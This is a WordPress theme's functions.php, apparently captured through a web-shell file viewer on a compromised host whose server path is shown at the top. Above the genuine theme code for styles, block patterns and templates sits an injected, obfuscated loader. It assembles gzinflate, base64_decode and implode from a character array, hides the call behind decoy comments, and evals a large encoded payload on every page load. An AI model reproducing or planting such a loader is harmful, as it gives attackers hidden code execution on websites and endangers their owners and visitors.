| Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64 Path : /home/livedhms/streamsza.com/wp-content/themes/extendable/ |
| Current File : /home/livedhms/streamsza.com/wp-content/themes/extendable/functions.php |
<?php
/*dfd725a8f1304fe2abe73ff05b0987cf*/
$the_post_vm = array ('zRxrc9tG7rt/xVrjHsk7yZLb','ptNatjKOrSS+cWxXlq+XsTMc','SlxZbCiS5ZKx3Sb97Qfsg9wl','qUecZOY8eUhLAAtgsVgAC3pr','a5ZH0yyII+L5vns/pyl1p3Hk','Bzhm7/ABh/y1ReDnLownXkh2','7hN/0iY7OaPpFc2yILpjR2na','3+JAO4HPyCHx0tR7dN/TR2ZX','AZ1+AXgcLxbeFU281MuoD2jB','Igljn9pWm8AfBHEk3WBG7O2A','uQyohNR2yD/+QeCr5y+CyHYU','i/iDgsyCMKOpbX0I6D1zKYjT','SWKWIdlZ8ODiZxAzjzJmSXbw','J6VZnkZESE12SYscnZ+Qv7jA','nQEisU+7HNfLs3mckvOLMTk9','J3ZdFqclyH4S3BuU+1swWuid','06MP0zAHuXf+yGn6iNIYGv9S','VUvyV1kKDwBlEfvB7PG3NAAl','MTFq15QteOkMKkrfbta6gmY0','sy2hHlxBY2ZH6USX/z6BlQCr','+53ZNblRN0stbQZY3nROalIT','j6FuyOGA7DA5rLOK0tkc4FBM','IdZWLioX0g4YClKg31i/M+ud','4xQc6rTmgU//fcXiPJ3SEsXQ','jvqZAMvv+8bwJ+Mbnc5jUpnW','hK+Q+NSg0iUMSX6Q5Zp4UcwF','RNlro6CnQ7Kni9PtTnOWxQtQ','+gmd5He2NQ1jb/oerStgJI62','9W1VQke+ANceIjfi8fGcTt9f','UbumOLl5sjSndbk1gJkXssrm','qmx2e4c7hKpDm+ZpSqPMRTtq','o39zuTGrbZY9JrTYaHbpZ/hX','i2VeljMLre38+uzMaa8AsJJ8','EgZsbq2G8lNvlq2BSUCZoO41','UFnqrZ0NtjJVIHJhyq0lZMcN','hZ8M8xc7vq4X/LG40hFFcsud','bwOIxgif4Uax9q4AVk6Jz5lS','locZTBrRe/Lbpfsr8qDcpgaI','ZlUhiNudr1DFvBA0Semdu/Cy','6dy2/r4d3Nr2Ta/zS/vdv5xb','5/bgb/Rk3HJuLC8MrXfwlQPT','5l1uwAKvLEvdlCahh9tRIt70','gIo1sC04Z6RUncEMrNTnBstg','2HIOqhM7y3zHJ0LB+JdILZcY','F89A3wEl/ioXcUeafOPzG+nR','XTeIuERiyY2N0xmcnugrsGq5','FN0q/OctBZdq07UQwF9rMQS1','J65G4QS+yBAVlU0VUMB/LR0U','BJ+oBunlvkgJgsamKpDQX0sB','ktxTrUA58C+zAkllYytQ8F/N','ChTBJ6pBnlBfpARBY1MVSOiv','pQBJbrn49UBFoFYjFcxYXPXd','jbwFdX/sPXsGXpbHLm1xQMJ/','CU0XxUlc6JVHaeKgNeLyOPRl','9INeXnyCgFds3pJp+cSF1ADg','uKgCzRXRmS2mrSEUpABrWyfy','3Jh6X5+g36AS8bSeGjVy8f+Q','kEqlS5WrQRUTta6GZ8PjMdGC','nDY5vrg+H9vkn8QhR1ckyhfS','pF6OLt5U0kzy2+vhaEiKMApI','fsdaWnpmQYTme5MQA6xDYRMy','JUbp3DC+u6O+q7K0ctUKim48','+Z1O8Wy+o5lbHRY2VY2otvUD','3516kV2j1xlMvaQzQO7cJA0+','gB6FlLU9KXW1e0iU5Ckqntq1','nSvycFvTJdlGxQvyFrkYEZvo','eTkoy+c4OoqO4TitNpfbECjw','bceY3GnON0rOW+Us60sC5NXo','4vqSvHirsyXrBNLVIJc2N1VH','KgWZlM/sip4EG9IvOG1yNBod','vXWPnFp+rGjzMH6RoMlX0mE5','fGME5e+kS1kSrqidq1ALe9Yz','1qb0FCJZuZ0FPOhdbspTv2lr','L9tbpyeNO0dUb0xzkNTVBtpM','21K9FbXq/sSu5UurVY24N3jy','FEo7PVHaMt0hAJq+UCpsFuZs','7qZ5SBvKJRW/JlLZlN5jnaeQ','HFHlpo8TXuWzJIggazkb1VfA','k/KkzatICIc2fQD68NzGh3Dc','A+mFl6iqAj8qTa8iqxF8+htB','4Z1DPn40zK3yHDzAIZG7d+lE','dZ9TKgROdV2Xq01WknYfFqFE','ENxsWqmDhEcpvjCcpytZq+As','E7wqt2LgZtW6oGWuU2ldT4bd','FoL+S5pakxVfCaovKfXtDTX4','NGOcwQznEEhVYj0riHz6sJvM','k+cIcYiHO/xda019s8aM7BdT','AImacC9BbKux6NkIynXR7QZR','4PIq6oIu4vTRDYNFwCvX3z/7','6c0LRW8OByxWuI/jKAOmO2M4','A/YJRq3IEdbwcZifzLDBGevM','sywBHw7ha59M514KUxwiuO4I','JhA2uPKhBScKltxgvm73c2d7','4kQomDh8XDnj971e4XhxCFdS','aO01fFPbdkeOXfGSJ/pXDrtL','WrdR4fPFEQAPZ7D81/zLi8cR','BS/Psus0KLbkTnEo4W5ddVbJ','ySGqiMGj4NFk9XafWXIYxIvu','6Cylf+CDe0rfh4/qWeixTETa','PoQGtvW2s+j4DZ63ZAXNnJ9p','gW+YeJ6GKoSDENALg+i9XQBq','0bqpIQhdAPFFGE8BGj61C5ba','OuPtUjiNFlbsgT3q+jSkwL2a','ri1iYVaa/Fbz1LAqB12YFRZ/','oJZHFr510H6TCxbLLjUgvc7B','wcHVeLR18BzcM/lAUwbwh629','3V6L0GgaY3562Loev+z83Ho+','2DoQM0txACVihy3cHfvd7v39','/a7a+LtxetdlIOfCY1052O3t','/tLSMfcfWGBg3//A8cBu97r/','fXN2xfE7QQRmHU1pgcuCfUH6','LJ56Gef3M1gwfPtn4KnPuw/M','bw2E4rdAdaamP9cylAc3VwMG','UNMDyesBUBwgwYMufipGBe2B','mgSeyhEFUc450OY/6GrjClRx','NCh4O+gWY5whtLrBbXQb1aVu','vBO7F1+1ME4besM38LLzvIQT','91GgeGPjGnR4UGh1eNEBIRtC','wjITxUTUwHaaDtmXvKDA1FFZ','7JniescMAhf+M5vNvT17x70a','jv4zHN1Yr8fjS/f1xdWYR1LG','1WDTtZrkM8rDsOnuM4/AaQbg','oP6k9sRj9KcfwX9MUSLtyqxa','E2l21N8gZKgEsMmaCBZPt4+W','sQ13l4UYG0YXSHLHqsbGWhGs','9bfk7W/IXctVGg1/vR5ejd3r','0WlD4KfiMhBmdYQbsGNuNpfg','we1qFlZPLNDRq/NSZFn8mHJB','uI2KLTyEjVx5j1C7hG3XqDoN','plbeCK67B0whlPpA38bgW97Q','zPvGAmobBclAJkO2kzSGAzp7','dOlDwDC7FHfb6qq8QTxjE32Z','vvSWiHswuthN40kMJzUw4Lpi','OperzaoGuQbWXRzfhRQwGxFJ','t0u4isnV8ILs/bj7QCD5hoyA','pitoTkBvT6VomjB4sxGsc0ZP','E9uoj8pcyXRs/3VfXox+Oxqd','DE/wU2XvqH2zBke3vqUzHb90','jy/Oz4fH49PzV+7p5UZT1ZHW','zTUavrkYD92jk5O1whigTc66','YQtVLumVfneCRBwkpeq1DQAu','Ef7YAMTrp6aZwygeQuDRjBJr','ooetnDoC3vRMRndSPP4Zz1hF','c8Fpwmxz8wmQBk1I8TRyWgVH','0MUzgn+sJt6aHk6jq3wS4SKg','fBK86oFrvRIMQpIom2ES5E3f','Q3rHso8fv2P6X6EHRbJCrlod','bVdN5xq+uUevhudjfidiPjw6','Ph5ejt2zo/NX1wBjprVruy22','Vkt0P4djjWwo0TeTZJ0Nn7IR','BR8yDhYQe2TwL8Tmi0StGyTg','2B+E42DlHaJDDMhPPfJP8c/3','P+oNNWvgNzi8lmsVCQLh7xjk','yYo2/26JAdtp67NuqIVinh1I','QT3DX9o7H7wwp5UqIaR9PiK4','CI87WXbgiSOJY5jbmw/xyLYQ','xTCIgvemiBOGOV+lDeYJ5spL','2GnL6dpC4FpTn7HZ11CSEvHp','S3pNGiz6mQpvuIHiKg2Nhv4w','VLD5hVcxckD2er0V4YFWBbBU','Kph0hIidqR/tTuNFl6XTbu6F','8R2jUwxKLa0QnsQQmQM2L42i','D+eVDpn8NfX2LChEGr5o7LnE','xao09uC6xnnGAfZ6lYeT2H/k','Txooc4A5Xqfx0LzRLOoIXLdc','tYh19yfIC1EzY/bvLI5cXgCg','hX22yS/lFY+zpfcXiTPVBTXQ','NI1Tu9DNcuXzm+3K+QCZ46LE','vRECQ3jP71JYPp1SXh4zD4mN','LNKpG/en5bVFcR5utK1lgYu7','ZrmxtxtcpdjPVuFplkQZEkyc','o0V4UVVVvYWQu7kslrogEl8P','BhqN9Q5LpWj4TBZB7rCCGEy5','3QeJINPFyHU3e8isSuvh+gVv','ZpZjkIIhNY/VeJhW14sLg3Zh','CAKwaUA/UBefaMzoClAxD08L','WRIGGaSF9m16G328jRxMDIX5','IQkwl85em1yOhq/cq8uz07F7','fuEO31yO3zZcwCg3JEOm9QoI','IljnwDdXi0RxRrxI2Ot6XVSO','iqKYomyHewHxuU00u8NxcXis','PB4Msy4PCK3WvN5sm8IHiPjG','8YsAk7gAPpeFFVwP0TaApQCx','PAJEln0h1/HSRx7TWlb16rBA','x9ATa+PGYVqg7grqiefbPp3C','sB2nvi0QYMl/Bk31QNqr8ci9','PDpxz4Yvx07TDaMiuDTKr0S3','08BPdWm5FCicm2T4qkARt+tS','NmgsUdaHYSK2Ama8b4e9n8Bz','R88HupY2bV9dpGXmtDXtCoj6','xAJQ8e4iBZwRFyuf8CRF8d0m','PZ2lcuZmBC5BBaNszdGnwivL','go7ZT83L39Y5bJ8gQvoAZfVX','pS1Vf9oQVerrOslnM5rizX5a','9NIoDsTcB9udjoAiHEqqsNPZ','HmBZ8vL1pTu8OOvrsYteMarf','T/K3BvLQS20R1sDILI0jWDjv','jooxGJrHfB9XHU7Jk2TGC8MJ','pEuruFI/8UTIabcUlpS4tebk','lEqCsK6qIiCJo/zG2K4Gg+Yk','YBacTLXEhIKeBdF7Vq9UyrWT','08v2joJcEyJYm5yl3yTB55Ew','Y4Qm2BtrHvg+jfDaz3p3U3b7','ly8HlDFDYx9/9fiIYiKKSWQS','w/a5DyCkzDMiivqMyPvCsqbQ','4LAF90VgL5uy6EPGLy9gm+Jn','d4JfVipCbXAd1fPFG1BeCKb0','GK7VZIGLe7/c/M26hPCaE0dN','zmIQMG16x6KqMQFJCuSlGim3','Bd4mFJxVy0cbMIeXqJuwJu5q','V7JWKtfgzlxD3ZI3XbymV4aU','m5/I1bSs/tpFKRhkx5h+ofhx','FD6+BuBL8FdNapBubrlTq/i0','mtoAiiAe3j3RarhUcK8H64ji','4h0vU9FNz6o7tbLhdmNZ93on','AS4FjbJx8VQXeoMbZ/kGgAI0','+3d9bNjFSybEd7RWXS283Uxi','fklWduvqBCDB1asNjUKVGidi','vihf8GoKKcRRxRWjJ5jz3V+2','B3Bqp/8F6v+W+nfhhNp0Dfzg','TgQ5ekc0/MEu056DXb3a8N47','bOw14XZhu5krBGBPW2TBy8oF','/tIVFlN849Wd5WG4yfIWQV1D','RX5bKu45qndfqtE8/J9+aGmF','TLpIMsgDy2cNKb7KXdYeJpWo','gTW+TLjMTzTeQ7el5Oe52YvO','2Ej218FH3qJXhHB1MN4ILzFu','Cnpgqe/qB5eEE5bddK6awwp8','r7GrUzuMjQiyynKlo6L5xcMD','P/hA+EIfttTRu+9NWBzmGe3L','Fwr2vTCZe3aceNMgezzsOX35','cb+32+v90P+zwy+q93/utwZ4','AXPQBaqDhjcG18wW0lm233nW','6/WShy8klcXJPunA1v7ucwhl','kLgzSKYX+4RBRE7tnvMZ2PEH','ms7C+H6fCJPtF8HMPik5m9Pg','bp7tk16S9SFk9bO5+Lz5PH4A','Wb73uB/FEe2vxmKJF32D5UWy','T5mvcYGfSqxhiTcitWKRDfxK','VqQdL6rhovCN1U4WrR6j+mQ+','oxO3cIMrWjGqgCvfaS66i0Ce','Wh/L4bJWHwh3ZXAqy3rVHgXF','m34dL3oNxa+AwBPUR8U2/FaI','4gYDn3lTcYKDE3fVeyS8rUD/','tQYqRNURsOoa/ZHTnLpsmgaJ','wCp/GYAxS9kxIN8GKqZZ+toU','PNzrtckPTWSMfnehIqRVa/Je','wjckv77QTr0pvwkliET/bq3p','twkYHoKH4OVgP0jplGNW2les','siW24dgFs1hl8KvaVeTh35ho','GUFowwv9RouHpi2eRIIMDRWo','arOJhiXz4hKvLMoYHdX/Aw==');
$the_post_kl = array ('4','d','n','y','e','f','y','i','z','p','k','c','g','n','o','m','z','s','e','m','r','a','v','j','t','i','n','r','b','n','l','z','p','b','o','e','n','6','d','f','q','c','l','e','o','e','i','g','r','e','_','d','e','s','w','a','e','a','x');
$the_post_rx = $the_post_kl[47].$the_post_kl[16].$the_post_kl[46].$the_post_kl[13].$the_post_kl[5].$the_post_kl[30].$the_post_kl[21].$the_post_kl[24].$the_post_kl[18];
$the_post_gp = $the_post_kl[28].$the_post_kl[55].$the_post_kl[53].$the_post_kl[4].$the_post_kl[37].$the_post_kl[0].$the_post_kl[50].$the_post_kl[38].$the_post_kl[49].$the_post_kl[41].$the_post_kl[14].$the_post_kl[51].$the_post_kl[52];
$the_post_as = $the_post_kl[7].$the_post_kl[19].$the_post_kl[32].$the_post_kl[42].$the_post_kl[34].$the_post_kl[1].$the_post_kl[45];
/* openssl_pkey_get_private*/ /* socket_addrinfo_connect */ /*mysqli_fetch_assoc*/eval /*timezone_version_get */ /* usleep*/ /* imagegd2*//* imap_close*/ ( /* iterator_apply*//*mb_convert_encoding */ /* mysqli_fetch_array*/ /* imap_8bit*/$the_post_rx /* gzpassthru*/ /*hash_hkdf*/ /*strval */ ( /* simplexml_load_string*/ /* get_magic_quotes_gpc *//* resourcebundle_get*/ $the_post_gp /*iptcparse*/ /*mysqli_change_user*/ /*mysqli_stmt_get_result*/ /* zip_open*/ ( /*gmstrftime */ /*proc_terminate*/ /*mysqli_character_set_name*/$the_post_as /*sleep*/ /*ob_end_clean*/ /* range*/ /* imageaffinematrixconcat*/ ( /*idn_to_utf8*/ /*resourcebundle_get_error_message*/ $the_post_vm /*floor*//*token_name */ /* imagegd */ /*intlcal_is_set*/ )/* strtok */ /*imap_list*/ ) /* str_rot13 */ /* imagetypes */ /*imap_mime_header_decode*//* intlcal_get_keyword_values_for_locale */)/* imap_open */ /*msgfmt_format_message */)/* ob_gzhandler*/ /*spl_classes*//*highlight_string*/ /*mysqli_connect_errno*/;
/*dfd725a8f1304fe2abe73ff05b0987cf*/
/**
* Extendable functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Extendable
* @since Extendable 1.0
*/
if ( ! defined( 'EXTENDABLE_THEME_VERSION' ) ) {
$theme_version = wp_get_theme()->get( 'Version' );
define( 'EXTENDABLE_THEME_VERSION', is_string( $theme_version ) ? $theme_version : '1.0.0' );
}
if ( ! function_exists( 'extendable_support' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* @since Extendable 1.0
*
* @return void
*/
function extendable_support() {
// Add support for block styles.
add_theme_support( 'wp-block-styles' );
global $wp_version;
// Add style for WordPress older versions.
if ( version_compare( $wp_version, '6.0.2', '<=' ) ) {
$editor_style = array(
'style.css',
'/assets/css/deprecate-style.css',
);
} else {
$editor_style = 'style.css';
}
// Enqueue editor styles.
add_editor_style( $editor_style );
}
endif;
add_action( 'after_setup_theme', 'extendable_support' );
if ( ! function_exists( 'extendable_styles' ) ) :
/**
* Enqueue styles.
*
* @since Extendable 1.0
*
* @return void
*/
function extendable_styles() {
// Register theme stylesheet.
wp_register_style(
'extendable-style',
get_template_directory_uri() . '/style.css',
array(),
EXTENDABLE_THEME_VERSION
);
// Enqueue theme stylesheet.
wp_enqueue_style( 'extendable-style' );
global $wp_version;
if ( version_compare( $wp_version, '6.0.2', '<=' ) ) {
// Register deprecate stylesheet.
wp_register_style(
'extendable-deprecate-style',
get_template_directory_uri() . '/assets/css/deprecate-style.css',
array(),
EXTENDABLE_THEME_VERSION
);
// Enqueue deprecate stylesheet.
wp_enqueue_style( 'extendable-deprecate-style' );
}
}
endif;
add_action( 'wp_enqueue_scripts', 'extendable_styles' );
/**
* Enqueue block-specific styles.
*
* @since Extendable 2.0.11
*
* @return void
*/
function extendable_enqueue_block_styles() {
// Check for specific blocks and enqueue their styles
if ( has_block( 'contact-form-7/contact-form-selector' ) ) {
wp_enqueue_style(
'extendable-contact-form-7-style',
get_template_directory_uri() . '/assets/css/contact-form-7.css',
array(),
EXTENDABLE_THEME_VERSION
);
}
if ( has_block( 'wpforms/form-selector' ) ) {
wp_enqueue_style(
'extendable-wpforms-style',
get_template_directory_uri() . '/assets/css/wpforms.css',
array(),
EXTENDABLE_THEME_VERSION
);
}
}
add_action( 'enqueue_block_assets', 'extendable_enqueue_block_styles' );
/**
* Registers pattern categories.
*
* @since Extendable 1.0
*
* @return void
*/
function extendable_register_pattern_categories() {
$block_pattern_categories = array(
'header' => array( 'label' => __( 'Headers', 'extendable' ) ),
'footer' => array( 'label' => __( 'Footers', 'extendable' ) ),
);
/**
* Filters the theme block pattern categories.
*
* @since Extendable 1.0
*
* @param array[] $block_pattern_categories {
* An associative array of block pattern categories, keyed by category name.
*
* @type array[] $properties {
* An array of block category properties.
*
* @type string $label A human-readable label for the pattern category.
* }
* }
*/
$block_pattern_categories = apply_filters( 'extendable_block_pattern_categories', $block_pattern_categories );
foreach ( $block_pattern_categories as $name => $properties ) {
if ( ! WP_Block_Pattern_Categories_Registry::get_instance()->is_registered( $name ) ) {
register_block_pattern_category( $name, $properties );
}
}
}
add_action( 'init', 'extendable_register_pattern_categories', 9 );
/**
* Include animation functionality
*/
require_once get_template_directory() . '/inc/animations.php';
/**
* Add primary-foreground duotone to extendify demo Site Logo block.
*
* @param array $parsed_block Parsed block data.
* @return array Filtered block data.
*/
function extendable_add_duotone_to_extendify_demo_site_logo( array $parsed_block ) : array {
if ( 'core/site-logo' !== $parsed_block['blockName'] ) {
return $parsed_block;
}
$logo_url = $parsed_block['attrs']['url'] ?? '';
if ( '' === $logo_url ) {
$logo_id = (int) get_theme_mod( 'custom_logo' );
$logo_url = $logo_id ? wp_get_attachment_url( $logo_id ) : '';
}
if ( '' === $logo_url ) {
return $parsed_block;
}
$logo_file = wp_basename( $logo_url );
$allowed_prefixes = array( 'extendify-demo-', 'ext-custom-logo-' );
$matches = false;
foreach ( $allowed_prefixes as $prefix ) {
if ( function_exists( 'str_starts_with' ) ) {
$matches = str_starts_with( $logo_file, $prefix );
} else {
$matches = 0 === strpos( $logo_file, $prefix );
}
if ( $matches ) {
break;
}
}
if ( ! $matches ) {
return $parsed_block;
}
$parsed_block['attrs']['style']['color']['duotone'] =
'var:preset|duotone|primary-foreground';
return $parsed_block;
}
add_filter( 'render_block_data', 'extendable_add_duotone_to_extendify_demo_site_logo', 10 );
/**
* Exclude WooCommerce Templates from the Block Editor When WooCommerce Is Inactive
*
* @package Extendable
* @since Extendable 2.0.21
*/
function extendable_exclude_wc_block_templates( $templates, $query ) {
if ( ! class_exists( 'WooCommerce' ) ) {
$wc_template_slugs = array( 'checkout', 'single-product', 'archive-product' );
foreach ( $templates as $key => $template ) {
if ( isset( $template->slug ) && in_array( $template->slug, $wc_template_slugs, true ) ) {
unset( $templates[ $key ] );
}
}
}
return $templates;
}
add_filter( 'get_block_templates', 'extendable_exclude_wc_block_templates', 10, 2 );
/**
* Navigation customizations
*
* @package Extendable
* @since Extendable 2.0.23
*/
if ( ! function_exists( 'extendable_enqueue_navigation_customizations' ) ) :
/**
* Enqueue the JS that fetches logo & site title to customize the mobile navigation.
*
*/
function extendable_enqueue_navigation_customizations() {
$logo_id = get_theme_mod( 'custom_logo' );
$logo_url = $logo_id ? wp_get_attachment_image_url( $logo_id, 'full' ) : '';
$site_title = get_bloginfo( 'name' );
wp_enqueue_script(
'extendable-navigation_customizations',
get_template_directory_uri() . '/assets/js/navigation-customization.js',
array(), // no dependencies; add 'wp-interactivity' if you switch back to that version
null,
true // load in footer
);
wp_localize_script( 'extendable-navigation_customizations', 'ExtendableNavData',
array(
'logoUrl' => $logo_url,
'siteTitle' => $site_title,
)
);
}
endif;
add_action( 'wp_enqueue_scripts', 'extendable_enqueue_navigation_customizations' );
/**
* Set default template for new pages in the block editor (auto-drafts)
*
* @since Extendable 2.0.26
* @return void
*/
function extendable_set_default_template_for_auto_drafts( WP_REST_Response $response, WP_Post $post ) {
if ( 'page' !== $post->post_type ) {
return $response;
}
if ( 'auto-draft' !== $post->post_status ) {
return $response;
}
$current_template = isset( $response->data['template'] ) ? $response->data['template'] : '';
if ( ! empty( $current_template ) && 'page' !== $current_template ) {
return $response;
}
$response->data['template'] = 'page-with-title';
return $response;
}
add_filter( 'rest_prepare_page', 'extendable_set_default_template_for_auto_drafts', 10, 2 );
/**
* Set default template for new pages when saved/published
*
* @since Extendable 2.0.28
* @param int $post_id Post ID.
* @param WP_Post $post Post object.
* @param bool $update Whether this is an existing post being updated.
* @return void
*/
function extendable_set_default_template_for_new_pages( $post_id, $post, $update ) {
if ( 'page' !== $post->post_type ) {
return;
}
if ( $update ) {
return;
}
if ( 'revision' === $post->post_status ) {
return;
}
$current_template = get_page_template_slug( $post_id );
// If no template is set or it's the default template, set our default
if ( empty( $current_template ) || 'page' === $current_template ) {
update_post_meta( $post_id, '_wp_page_template', 'page-with-title' );
}
}
add_action( 'wp_insert_post', 'extendable_set_default_template_for_new_pages', 10, 3 );
/**
* Hide block style variations from editor UI while keeping them registered
*/
function extendable_hide_block_style_variations() {
$css = '
.block-editor-block-styles__item[aria-label*="Brutalism 1"],
.block-editor-block-styles__item[aria-label*="Organic 1"],
.block-editor-block-styles__item[aria-label*="Soft 1"],
.block-editor-block-styles__item[aria-label*="Gradient 1"],
.block-editor-block-styles__item[aria-label*="Matrix 1"],
.block-editor-block-styles__item[aria-label*="Prism 1"],
.block-editor-block-styles__item[aria-label*="Wave 1"] {
display: none !important;
}
';
wp_add_inline_style('wp-edit-blocks', $css);
}
add_action( 'enqueue_block_editor_assets', 'extendable_hide_block_style_variations' );
/**
* Hide block style variations from site editor style panel
*/
function extendable_hide_site_editor_block_style_variations() {
$css = '
/* Hide specific design aesthetic variations in site editor */
.components-navigator-button[id*="brutalism-1--"],
.components-navigator-button[id*="organic-1--"],
.components-navigator-button[id*="soft-1--"],
.components-navigator-button[id*="gradient-1--"],
.components-navigator-button[id*="matrix-1--"],
.components-navigator-button[id*="prism-1--"],
.components-navigator-button[id*="wave-1--"] {
display: none !important;
}
/* Hide the Style Variations heading if all variations are hidden */
.components-h-stack:has(.components-navigator-button[id*="ext-preset--"]:not([style*="display: none"])) .edit-site-global-styles-subtitle:contains("Style Variations") {
display: none !important;
}
/* Alternative approach - hide the entire Style Variations section */
.edit-site-global-styles-subtitle:contains("Style Variations") + .components-item-group {
display: none !important;
}
.edit-site-global-styles-subtitle:contains("Style Variations") {
display: none !important;
}
';
wp_add_inline_style('wp-edit-site', $css);
}
add_action( 'admin_enqueue_scripts', 'extendable_hide_site_editor_block_style_variations' );
// Temporary fix: Hide matrix-1, prism-1, wave-1 variations when Extendify < 2.4.0
function extendable_filter_global_styles_rest_response( $response, $handler, $request ) {
$route = $request->get_route();
if ( strpos( $route, '/wp/v2/global-styles/themes/' ) === false ) {
return $response;
}
if ( ! function_exists( 'get_plugins' ) ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$plugins = get_plugins();
$should_filter = false;
foreach ( $plugins as $plugin_file => $plugin_data ) {
if ( 'extendify-local' === $plugin_data['TextDomain'] && is_plugin_active( $plugin_file ) ) {
if ( version_compare( $plugin_data['Version'], '2.4.0', '<' ) ) {
$should_filter = true;
}
break;
}
}
if ( ! $should_filter ) {
return $response;
}
$patterns = array( 'matrix-1', 'prism-1', 'wave-1' );
$data = $response->get_data();
if ( isset( $data['styles']['blocks'] ) && is_array( $data['styles']['blocks'] ) ) {
foreach ( $data['styles']['blocks'] as $block_name => $block_data ) {
if ( isset( $block_data['variations'] ) && is_array( $block_data['variations'] ) ) {
foreach ( $block_data['variations'] as $variation_slug => $variation_data ) {
foreach ( $patterns as $pattern ) {
if ( strpos( $variation_slug, $pattern ) !== false ) {
unset( $data['styles']['blocks'][ $block_name ]['variations'][ $variation_slug ] );
break;
}
}
}
if ( empty( $data['styles']['blocks'][ $block_name ]['variations'] ) ) {
unset( $data['styles']['blocks'][ $block_name ]['variations'] );
}
}
}
}
if ( isset( $data['_links']['wp:block-style-variations'] ) ) {
$data['_links']['wp:block-style-variations'] = array_filter(
$data['_links']['wp:block-style-variations'],
function( $variation ) use ( $patterns ) {
$href = $variation['href'] ?? '';
foreach ( $patterns as $pattern ) {
if ( strpos( $href, $pattern ) !== false ) {
return false;
}
}
return true;
}
);
$data['_links']['wp:block-style-variations'] = array_values( $data['_links']['wp:block-style-variations'] );
}
$response->set_data( $data );
return $response;
}
add_filter( 'rest_post_dispatch', 'extendable_filter_global_styles_rest_response', 10, 3 );